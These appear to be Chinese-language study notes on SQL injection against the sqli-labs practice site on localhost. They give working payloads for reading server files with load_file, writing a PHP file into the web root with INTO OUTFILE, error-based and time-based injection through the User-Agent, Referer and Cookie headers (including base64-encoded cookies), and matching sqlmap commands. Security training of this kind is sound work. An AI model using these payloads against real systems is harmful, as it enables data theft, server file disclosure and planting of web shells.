1、MySQL注入读写文件
MySQL数据库在渗透过程中能够使用的功能还是比较多的,除了读取数据之外,还可以进行 对文件进行读写(前提是权限足够)
读取前提:
- 1.用户权限足够高,尽量具有root权限
- 2.secure_file_priv不为null
需要人为设置secure_file_priv的默认值
修改数据库的配置文件:
保存文件后重启Phpstudy2018,再验证:
读取文件内容
http://127.0.0.1/sqli/Less-1/?id=-1’ union select 1,load_file(‘D:\1.txt’),3 --+
http://127.0.0.1/sqli/Less-1/?id=-1‘ union select 1,load_file(‘C:\Users\Administrator\Desktop\sqlmap\sqlmapproject-sqlmap-3b7dd2c\target.txt’),3 --+
开启MySQL文件写入
show variables like ‘%general%’; # 默认是关闭的
set global general_log = on;
开始sql写入文件:
http://127.0.0.1/sqli/Less-7/?id=-1’)) union select 1,’<?php phpinfo(); ?>’,3 into outfile ‘C:\\Users\\Administrator\\Desktop\\sqlmap\\sqlmapproject-sqlmap-3b7dd2c\\target.txt’ --+
注意文件路径一定要双斜线间隔,into outfile是将前面的sql查询语句的结果写入到后面的路径文件夹中。
http://127.0.0.1/sqli/Less-7/?id=-1’)) union select 1,"<?php phpinfo(); ?>",3 into outfile “G:\\phpstudy2018\\PHPTutorial\\WWW\\sqli\\Less-7\\1.php” --+
利用sqlmap进行读写文件
python sqlmap.py -u “http://127.0.0.1/sqli/Less-7/?id=1” --file-read “D:\\1.txt”
2、HTTP头中的SQL注入
HTTP头中的注入介绍
在安全意识越来越重视的情况下,很多网站都在防止漏洞的发生。例如SQL注入中,用户提交 的参数都会被代码中的某些措施进行过滤。
过滤掉用户直接提交的参数,但是对于HTTP头中提交的内容很有可能就没有进行过滤。
updatexml函数
UPDATEXML (XML_document, XPath_string, new_value);
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string (Xpath格式的字符串)
第三个参数:new_value,String格式,替换查找到的符合条件的数据
- HTTP User-Agent注入
' and updatexml(1,concat(0x7e,(select @@version),0x7e),1) or '1' = '1
0x7e是转义字符~
输出版本信息
输出数据库名称
' and updatexml(1,concat(0x7e,(select database()),0x7e),1) or '1' = '1
0x7e是转义字符~
Kali虚拟机中的另一种测试方法和工具:
or ‘1’ = '1 闭合成功案例如下:
# ' or '1'='1 报错信息
正常sql语句如下
select * from users where id = '1';
推导出闭合语句为:
select * from users where id = '1‘ or ’1‘=’1 '; 闭合成功
- HTTP Referer注入
' or if(1=1,sleep(5),null) or '1'='1
sqlmap安全测试
sqlmap自动搜索POST表单注入
sqlmap指定参数探测SQL注入
sqlmap referer注入把referer 改成* 或者在后面加上*
2、cookie注入
HTTP头中的注入介绍
服务器可以利用cookies包含信息的任意性来筛选并经常性维护这些信息,以判断在HTTP传 输中的状态。cookies最经典的应用就是判断用户是否已经登录网站。
cookie注入
代码中使用Cookie传递参数,但是没有对Cookie中传递的参数进行过滤操作。导致SQL注入漏洞的产生。
注入的payload
Cookie: uname=admin’ or 1=1 --+
Cookie: uname=admin’ and updatexml(1,concat(0x7e,version(),0x7e),1) --+
sqlmap安全测试
sqlmap -r target.txt --level 3 --batch
cookie Base64注入
Base64介绍
base64编码是从二进制到字符的过程,可用于在HTTP环境下传递较长的标识信息。base64是 网络上最常见的用于传输8Bit字节码的编码方式之一,base64就是一种基于64个可打印字符 来表示二进制数据的方法.
将原始内容转换为二进制,从左到右依次取6位,然后在最高补两位0,形成新的内容.(可以转换回来)
编码规则
- 1.把3个字符变成4个字符
- 2.每76个字符加一个换行符
- 3.最后的结束符也要处理
cookie Base64注入代码分析
base64加密网址
如果报出Warning: date(): 在php.ini中设置date.timezone的值为PRC,设置好以后的为:date.timezone=PRC
使用Base64加密的注入语句,插入到Cookie对应的位置完成SQL注入漏洞的探测。
修改之后保存重启
明文 " or 1=1 #(加密后如下所示)
IiBvciAxPTEgIw==
sqlmap安全检测
python sqlmap.py -r target.txt --level 3 --tamper base64encode.py